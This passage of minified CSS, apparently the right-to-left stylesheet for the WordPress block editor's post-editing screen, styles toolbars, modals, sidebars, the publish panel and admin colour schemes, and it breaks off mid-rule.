.components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{display:block}.edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-right:8px;padding-left:8px}@media (min-width:600px){.edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-right:12px;padding-left:12px}}.edit-post-header__dropdown .components-dropdown-menu__toggle,.show-icon-labels .edit-post-header .components-dropdown-menu__toggle,.show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle{margin-right:8px;padding-right:8px;padding-left:8px}@media (min-width:600px){.edit-post-header__dropdown .components-dropdown-menu__toggle,.show-icon-labels .edit-post-header .components-dropdown-menu__toggle,.show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle{margin-right:12px;padding-right:12px;padding-left:12px}}.edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle:after,.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after{content:none}@media (min-width:600px){.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after{content:attr(aria-label)}}.edit-post-header__dropdown .components-button.block-editor-block-navigation,.edit-post-header__dropdown .components-button.editor-history__redo,.edit-post-header__dropdown .components-button.editor-history__undo,.edit-post-header__dropdown .components-menu-item__button.components-menu-item__button,.edit-post-header__dropdown .table-of-contents .components-button{margin:0;padding:6px 40px 6px 6px;width:14.625rem;text-align:right;justify-content:flex-start}.show-icon-labels.interface-pinned-items{padding:6px 12px 12px;margin:0 -12px;border-bottom:1px solid #ccc;display:block}.show-icon-labels.interface-pinned-items>.components-button.has-icon{margin:0;padding:6px 8px 6px 6px;width:14.625rem;justify-content:flex-start}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{display:block;max-width:24px}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{padding-right:40px}.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{margin-left:8px}.edit-post-fullscreen-mode-close.has-icon{display:none}@media (min-width:782px){.edit-post-fullscreen-mode-close.has-icon{display:flex;align-items:center;-ms-grid-row-align:stretch;align-self:stretch;border:none;background:#23282e;color:#fff;border-radius:0;height:60px;width:60px}.edit-post-fullscreen-mode-close.has-icon:hover{background:#32373d}.edit-post-fullscreen-mode-close.has-icon:active{color:#fff}.edit-post-fullscreen-mode-close.has-icon:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 3px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 3px #fff}}.edit-post-fullscreen-mode-close_site-icon{width:36px}.edit-post-header-toolbar{display:inline-flex;flex-grow:1;align-items:center;border:none}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button{display:none}@media (min-width:600px){.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button{display:inline-flex}}.edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle{display:inline-flex}.edit-post-header-toolbar .block-editor-block-navigation{display:none}@media (min-width:600px){.edit-post-header-toolbar .block-editor-block-navigation{display:flex}}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon,.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon{height:36px;min-width:36px;padding:6px}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon.is-pressed,.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon:focus:not(:disabled),.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 2px #007cba,inset 0 0 0 1px #fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon:before,.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon:before{display:none}@media (min-width:600px){.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-button,.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-dropdown>[aria-expanded=false]{transition:opacity .1s linear}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-button,.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-dropdown>[aria-expanded=false]{transition-duration:0s}}@media (min-width:600px){.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left>*+.components-button,.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left>*+.components-dropdown>[aria-expanded=false]{opacity:0}}.edit-post-header-toolbar__left{display:inline-flex;align-items:center;padding-right:8px}@media (min-width:600px){.edit-post-header-toolbar__left{padding-right:24px}}@media (min-width:1280px){.edit-post-header-toolbar__left{padding-left:8px}}.edit-post-header-toolbar__block-toolbar{position:absolute;top:61px;right:0;left:0;background:#fff;border-bottom:1px solid #ddd}.edit-post-header-toolbar__block-toolbar:empty{display:none}.edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar,.edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar-group{border-top:none;border-bottom:none}.edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar__block-parent-selector-wrapper,.is-sidebar-opened .edit-post-header-toolbar__block-toolbar{display:none}@media (min-width:782px){.is-sidebar-opened .edit-post-header-toolbar__block-toolbar{display:block;left:280px}}@media (min-width:1280px){.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down){position:static;right:auto;left:auto;background:none;border-bottom:none}.is-sidebar-opened .edit-post-header-toolbar__block-toolbar:not(.is-pushed-down){left:auto}.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar{border-right:1px solid #ddd}.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar,.edit-post-header-toolbar__block-toolbar:not(.is-pushed-down) .block-editor-block-toolbar .components-toolbar-group{height:60px;padding:6px 0}}.edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle.has-icon{margin-left:8px;min-width:32px;width:32px;height:32px;padding:0}.show-icon-labels .edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle.has-icon{height:36px}.edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle.has-text.has-icon{width:auto;padding:0 8px}.show-icon-labels .edit-post-header-toolbar__left>*+*{margin-right:8px}@media (min-width:1280px){.show-icon-labels .edit-post-header-toolbar__block-toolbar{position:absolute;top:61px;right:0;left:0;border-bottom:1px solid #ddd;padding:0;background-color:#fff}.show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar,.show-icon-labels .edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar-group{height:auto;padding:0}}.edit-post-more-menu{margin-right:-4px}.edit-post-more-menu .components-button{width:auto;padding:0 2px}@media (min-width:600px){.edit-post-more-menu{margin-right:0}.edit-post-more-menu .components-button{padding:0 4px}}.edit-post-more-menu__content .components-popover__content{min-width:280px}@media (min-width:480px){.edit-post-more-menu__content .components-popover__content{width:auto;max-width:480px}}.edit-post-more-menu__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.edit-post-more-menu__content{z-index:99998}.edit-post-template-title{display:inline-flex;flex-grow:1;justify-content:center}.edit-post-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-post-keyboard-shortcut-help-modal__main-shortcuts .edit-post-keyboard-shortcut-help-modal__shortcut-list{margin-top:-25px}.edit-post-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-post-keyboard-shortcut-help-modal__shortcut{display:flex;align-items:baseline;padding:.6rem 0;border-top:1px solid #ddd;margin-bottom:0}.edit-post-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-post-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-post-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.edit-post-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0;flex-basis:auto}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{display:block;background:none;margin:0;padding:0}.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-post-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-post-keyboard-shortcut-help-modal__shortcut-key{padding:.25rem .5rem;border-radius:8%;margin:0 .2rem}.edit-post-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.edit-post-layout__metaboxes{flex-shrink:0}.edit-post-layout__metaboxes:not(:empty){border-top:1px solid #ddd;padding:10px 0;clear:both}.edit-post-layout__metaboxes:not(:empty) .edit-post-meta-boxes-area{margin:auto 20px}.edit-post-layout .components-editor-notices__snackbar{position:fixed;left:0;bottom:40px;padding-right:16px;padding-left:16px;right:0}@media (min-width:783px){.edit-post-layout .components-editor-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-post-layout .components-editor-notices__snackbar{right:160px}}.folded .edit-post-layout .components-editor-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-post-layout .components-editor-notices__snackbar{right:36px}}@media (max-width:783px){.auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar{right:190px}}@media (max-width:600px){.auto-fold .wp-responsive-open .edit-post-layout .components-editor-notices__snackbar{margin-right:-18px}}body.is-fullscreen-mode .edit-post-layout .components-editor-notices__snackbar{right:0!important}.edit-post-layout .editor-post-publish-panel{position:fixed;z-index:100001;top:46px;bottom:0;left:0;right:0;overflow:auto}@media (min-width:782px){.edit-post-layout .editor-post-publish-panel{z-index:99998;top:32px;right:auto;width:281px;border-right:1px solid #ddd;transform:translateX(-100%);animation:edit-post-post-publish-panel__slide-in-animation .1s forwards}}@media (min-width:782px) and (prefers-reduced-motion:reduce){.edit-post-layout .editor-post-publish-panel{animation-duration:1ms}}@media (min-width:782px){body.is-fullscreen-mode .edit-post-layout .editor-post-publish-panel{top:0}}@media (min-width:782px){[role=region]:focus .edit-post-layout .editor-post-publish-panel{transform:translateX(0)}}@keyframes edit-post-post-publish-panel__slide-in-animation{to{transform:translateX(0)}}.edit-post-layout .editor-post-publish-panel__header-publish-button{justify-content:center}.edit-post-layout__toggle-entities-saved-states-panel,.edit-post-layout__toggle-publish-panel,.edit-post-layout__toogle-sidebar-panel{z-index:100000;position:fixed!important;top:-9999em;bottom:auto;right:auto;left:0;width:280px;background-color:#fff;border:1px dotted #ddd;height:auto!important;padding:24px;display:flex;justify-content:center}.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus-within .edit-post-layout__toogle-sidebar-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-entities-saved-states-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toggle-publish-panel,.interface-interface-skeleton__actions:focus .edit-post-layout__toogle-sidebar-panel{top:auto;bottom:0}.edit-post-layout .interface-interface-skeleton__content{background-color:#ccc}.edit-post-layout__inserter-panel{height:100%;display:flex;flex-direction:column}.edit-post-layout__inserter-panel-header{padding-top:8px;padding-left:8px;display:flex;justify-content:flex-end}@media (min-width:782px){.edit-post-layout__inserter-panel-header{display:none}}.edit-post-layout__inserter-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-post-layout__inserter-panel-content{height:100%}}@media (min-width:600px){.edit-post-manage-blocks-modal{height:calc(100% - 120px)}}.edit-post-manage-blocks-modal .components-modal__content{padding-bottom:0;display:flex;flex-direction:column}.edit-post-manage-blocks-modal .components-modal__header{flex-shrink:0;margin-bottom:0}.edit-post-manage-blocks-modal__content{display:flex;flex-direction:column;flex:0 1 100%;min-height:0}.edit-post-manage-blocks-modal__no-results{font-style:italic;padding:24px 0;text-align:center}.edit-post-manage-blocks-modal__search{margin:16px 0}.edit-post-manage-blocks-modal__search .components-base-control__field{margin-bottom:0}.edit-post-manage-blocks-modal__search .components-base-control__label{margin-top:-4px}.edit-post-manage-blocks-modal__search input[type=search].components-text-control__input{padding:8px;border-radius:2px}.edit-post-manage-blocks-modal__disabled-blocks-count{border-top:1px solid #ddd;margin-right:-24px;margin-left:-24px;padding:.6rem 24px;background-color:#f0f0f0}.edit-post-manage-blocks-modal__category{margin:0 0 2rem}.edit-post-manage-blocks-modal__category-title{position:-webkit-sticky;position:sticky;top:0;padding:16px 0;background-color:#fff;z-index:1}.edit-post-manage-blocks-modal__category-title .components-base-control__field{margin-bottom:0}.edit-post-manage-blocks-modal__category-title .components-checkbox-control__label{font-size:.9rem;font-weight:600}.edit-post-manage-blocks-modal__show-all{margin-left:8px}.edit-post-manage-blocks-modal__checklist{margin-top:0}.edit-post-manage-blocks-modal__checklist-item{margin-bottom:0;padding-right:16px;border-top:1px solid #ddd}.edit-post-manage-blocks-modal__checklist-item:last-child{border-bottom:1px solid #ddd}.edit-post-manage-blocks-modal__checklist-item .components-base-control__field{align-items:center;display:flex;margin:0}.components-modal__content .edit-post-manage-blocks-modal__checklist-item.components-checkbox-control__input-container{margin:0 8px}.edit-post-manage-blocks-modal__checklist-item .components-checkbox-control__label{display:flex;align-items:center;justify-content:space-between;flex-grow:1;padding:.6rem 10px .6rem 0}.edit-post-manage-blocks-modal__checklist-item .block-editor-block-icon{margin-left:10px;fill:#1e1e1e}.edit-post-manage-blocks-modal__results{height:100%;overflow:auto;margin-right:-24px;margin-left:-24px;padding-right:24px;padding-left:24px;border-top:1px solid #ddd}.edit-post-meta-boxes-area{position:relative}.edit-post-meta-boxes-area .inside,.edit-post-meta-boxes-area__container{box-sizing:content-box}.edit-post-meta-boxes-area input,.edit-post-meta-boxes-area textarea{box-sizing:border-box}.edit-post-meta-boxes-area #poststuff{margin:0 auto;padding-top:0;min-width:auto}.edit-post-meta-boxes-area #poststuff .stuffbox>h3,.edit-post-meta-boxes-area #poststuff h2.hndle,.edit-post-meta-boxes-area #poststuff h3.hndle{box-sizing:border-box;color:inherit;font-weight:600;outline:none;padding:15px;position:relative;width:100%}.edit-post-meta-boxes-area .postbox{border:0;color:inherit;margin-bottom:0}.edit-post-meta-boxes-area .postbox>.inside{border-bottom:1px solid #ddd;color:inherit;padding:0 14px 14px;margin:0}.edit-post-meta-boxes-area .postbox .handlediv{height:44px;width:44px}.edit-post-meta-boxes-area.is-loading:before{position:absolute;top:0;right:0;left:0;bottom:0;content:"";background:transparent;z-index:1}.edit-post-meta-boxes-area .components-spinner{position:absolute;top:10px;left:20px;z-index:5}.edit-post-meta-boxes-area .is-hidden{display:none}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]{border:1px solid #757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:checked{background:#fff;border-color:#757575}.edit-post-meta-boxes-area .metabox-location-side .postbox input[type=checkbox]:before{margin:-3px -4px}.edit-post-meta-boxes-area__clear{clear:both}.edit-post-preferences-modal{min-width:360px;width:100%}@media (min-width:782px){.edit-post-preferences-modal{width:auto}}@media (min-width:600px){.edit-post-preferences-modal{height:calc(100% - 120px)}}.edit-post-preferences-modal .components-navigation{background-color:#fff;margin:-8px;padding:8px}.edit-post-preferences-modal .components-navigation .components-navigation__menu{margin:0;color:#1e1e1e}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item{color:#1e1e1e}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item>button{color:inherit;padding:3px 16px;height:48px}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item>button:focus{background:#f0f0f0;font-weight:500}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item>button:hover{color:#007cba;color:var(--wp-admin-theme-color)}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item .components-toggle-control__label{color:inherit}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__menu-title-heading{color:inherit;border-bottom:1px solid #ddd;padding-right:0;padding-left:0}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button{color:inherit;padding-right:0}.edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button:hover{color:#007cba;color:var(--wp-admin-theme-color)}.edit-post-preferences-modal .components-navigation .components-navigation__menu .edit-post-preferences-modal__custom-fields-confirmation-button{width:auto}.edit-post-preferences-modal .edit-post-preferences__tabs{display:flex;flex-direction:row}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs{width:160px}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{border-radius:2px;font-weight:400}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{background:#f0f0f0;box-shadow:none;font-weight:500}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tab-content{width:500px;padding-right:24px}.edit-post-preferences-modal__section{margin:0 0 2.5rem}.edit-post-preferences-modal__section-title{font-size:.9rem;font-weight:600}.edit-post-preferences-modal__option .components-base-control .components-base-control__field{align-items:center;display:flex;margin-bottom:0}.edit-post-preferences-modal__option .components-base-control .components-base-control__field>label{flex-grow:1;padding:.6rem 10px .6rem 0}.edit-post-preferences-modal__custom-fields-confirmation-button,.edit-post-preferences-modal__custom-fields-confirmation-message{margin:0 48px .6rem 0}@media (min-width:782px){.edit-post-preferences-modal__custom-fields-confirmation-button,.edit-post-preferences-modal__custom-fields-confirmation-message{margin-right:38px}}@media (min-width:600px){.edit-post-preferences-modal__custom-fields-confirmation-button,.edit-post-preferences-modal__custom-fields-confirmation-message{max-width:300px}}.edit-post-preferences-modal .components-base-control__help{margin:-8px 58px 8px 0;font-size:12px;font-style:normal;color:#757575}.edit-post-preferences-modal .edit-post-preferences-modal__section-description{margin:-8px 0 8px;font-size:12px;font-style:normal;color:#757575}.components-panel__header.edit-post-sidebar__panel-tabs{justify-content:flex-start;padding-right:0;padding-left:16px;border-top:0;margin-top:0}.components-panel__header.edit-post-sidebar__panel-tabs ul{display:flex}.components-panel__header.edit-post-sidebar__panel-tabs li{margin:0}.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{display:none;margin:0 auto 0 0;padding:0;min-width:24px;height:24px}@media (min-width:782px){.components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon{display:flex}}.components-panel__body.is-opened.edit-post-last-revision__panel{padding:0;height:48px}.editor-post-last-revision__title.components-button{padding:16px}.editor-post-author__select{margin:-5px 0;width:100%}@supports ((position:-webkit-sticky) or (position:sticky)){.editor-post-author__select{width:auto}}.edit-post-post-link__link-post-name{font-weight:600}.edit-post-post-link__preview-label{font-weight:400;margin:0}.edit-post-post-link__link{text-align:right;word-wrap:break-word;display:block}.edit-post-post-link__preview-link-container{direction:ltr}.edit-post-post-schedule{width:100%;position:relative;justify-content:left}.edit-post-post-schedule span{display:block;width:45%}.components-button.edit-post-post-schedule__toggle{text-align:left}.editor-post-slug__input{margin:-5px 0;padding:2px}.edit-post-post-status .edit-post-post-publish-dropdown__switch-to-draft{margin-top:15px;width:100%;text-align:center}.edit-post-post-template{width:100%;justify-content:left}.edit-post-post-template span{display:block;width:45%}.edit-post-post-template__value{padding-right:6px}.edit-post-post-visibility{width:100%;justify-content:left}.edit-post-post-visibility span{display:block;width:45%}@media (min-width:782px){.edit-post-post-visibility__dialog .components-popover__content{width:257px}}.edit-post-post-visibility__dialog-legend{font-weight:600}.edit-post-post-visibility__choice{margin:10px 0}.edit-post-post-visibility__dialog-label,.edit-post-post-visibility__dialog-radio{vertical-align:top}.edit-post-post-visibility__dialog-password-input{width:calc(100% - 20px);margin-right:20px}.edit-post-post-visibility__dialog-info{color:#757575;padding-right:20px;font-style:italic;margin:4px 0 0;line-height:1.4}.components-button.edit-post-sidebar__panel-tab{border-radius:0;height:48px;background:transparent;border:none;box-shadow:none;cursor:pointer;display:inline-block;padding:3px 15px;margin-right:0;font-weight:500}.components-button.edit-post-sidebar__panel-tab:after{content:attr(data-label);display:block;font-weight:600;height:0;overflow:hidden;speak:none;visibility:hidden}.components-button.edit-post-sidebar__panel-tab.is-active{box-shadow:inset 0 0 0 2px transparent,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) transparent,inset 0 -4px 0 0 var(--wp-admin-theme-color);position:relative;z-index:1}.components-button.edit-post-sidebar__panel-tab.is-active:before{content:"";position:absolute;top:0;bottom:1px;left:0;right:0;border-bottom:4px solid transparent}.components-button.edit-post-sidebar__panel-tab:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative;z-index:1}.components-button.edit-post-sidebar__panel-tab.is-active:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 -4px 0 0 var(--wp-admin-theme-color)}.edit-post-text-editor{position:relative;width:100%;background-color:#fff;flex-grow:1}.edit-post-text-editor .wp-block.editor-post-title{max-width:none;line-height:1.4}.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input.editor-post-title__input.editor-post-title__input{font-family:Menlo,Consolas,monaco,monospace;font-size:2.5em;font-weight:400}.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input{border:1px solid #949494;margin-bottom:-1px;padding:16px}@media (min-width:600px){.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input{padding:24px}}.edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}@media (min-width:600px){.edit-post-text-editor .wp-block.editor-post-title{padding:0}}.edit-post-text-editor__body{width:100%;padding:0 12px 12px;max-width:1080px;margin-right:auto;margin-left:auto}@media (min-width:960px){.edit-post-text-editor__body{padding:0 24px 24px}}.edit-post-text-editor__toolbar{position:-webkit-sticky;position:sticky;z-index:1;top:0;right:0;left:0;display:flex;background:hsla(0,0%,100%,.8);padding:4px 12px}@media (min-width:600px){.edit-post-text-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-post-text-editor__toolbar{padding:12px 24px}}.edit-post-text-editor__toolbar h2{line-height:36px;margin:0 0 0 auto;font-size:13px;color:#1e1e1e}.edit-post-text-editor__toolbar .components-button svg{order:1}.edit-post-visual-editor{position:relative;flex:1 1 auto}.edit-post-visual-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-post-visual-editor .components-button.has-icon,.edit-post-visual-editor .components-button.is-tertiary{padding:6px}@supports ((position:-webkit-sticky) or (position:sticky)){.edit-post-visual-editor{flex-basis:100%}}.editor-styles-wrapper{background-color:#fff;cursor:text}.editor-styles-wrapper>*{cursor:auto}.edit-post-visual-editor__post-title-wrapper .editor-post-title{margin:2em auto 28px}.edit-post-welcome-guide{width:312px}.edit-post-welcome-guide__image{background:#00a0d2;height:240px}.edit-post-welcome-guide__image__prm-r{display:none}@media (prefers-reduced-motion:reduce){.edit-post-welcome-guide__image__prm-r{display:block}.edit-post-welcome-guide__image__prm-np{display:none}}.edit-post-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-post-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-post-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}@keyframes edit-post__fade-in-animation{0%{opacity:0}to{opacity:1}}body.block-editor-page,html.wp-toolbar{background:#fff}body.block-editor-page #wpcontent{padding-right:0}body.block-editor-page #wpbody-content{padding-bottom:0}body.block-editor-page #wpbody-content>div:not(.block-editor):not(#screen-meta),body.block-editor-page #wpfooter{display:none}body.block-editor-page .a11y-speak-region{right:-1px;top:-1px}body.block-editor-page ul#adminmenu>li.current>a.current:after,body.block-editor-page ul#adminmenu a.wp-has-current-submenu:after{border-left-color:#fff}body.block-editor-page .media-frame select.attachment-filters:last-of-type{width:auto;max-width:100%}.components-modal__frame,.components-popover,.edit-post-header,.edit-post-layout__inserter-panel,.edit-post-sidebar,.edit-post-text-editor,.edit-post-visual-editor,.editor-post-publish-panel{box-sizing:border-box}.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before,.components-popover *,.components-popover :after,.components-popover :before,.edit-post-header *,.edit-post-header :after,.edit-post-header :before,.edit-post-layout__inserter-panel *,.edit-post-layout__inserter-panel :after,.edit-post-layout__inserter-panel :before,.edit-post-sidebar *,.edit-post-sidebar :after,.edit-post-sidebar :before,.edit-post-text-editor *,.edit-post-text-editor :after,.edit-post-text-editor :before,.edit-post-visual-editor *,.edit-post-visual-editor :after,.edit-post-visual-editor :before,.editor-post-publish-panel *,.editor-post-publish-panel :after,.editor-post-publish-panel :before{box-sizing:inherit}@media (min-width:600px){.block-editor__container{position:absolute;top:0;left:0;bottom:0;right:0;min-height:calc(100vh - 46px)}}@media (min-width:782px){.block-editor__container{min-height:calc(100vh - 32px)}body.is-fullscreen-mode .block-editor__container{min-height:100vh}}.block-editor__container img{max-width:100%;height:auto}.block-editor__container iframe{width:100%}.wp-block{max-width:840px}.wp-block[data-align=wide]{max-width:1100px}.wp-block[data-align=full]{max-width:none}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-20:#006187;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-20:#064054;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-border-width-focus:2px}@media 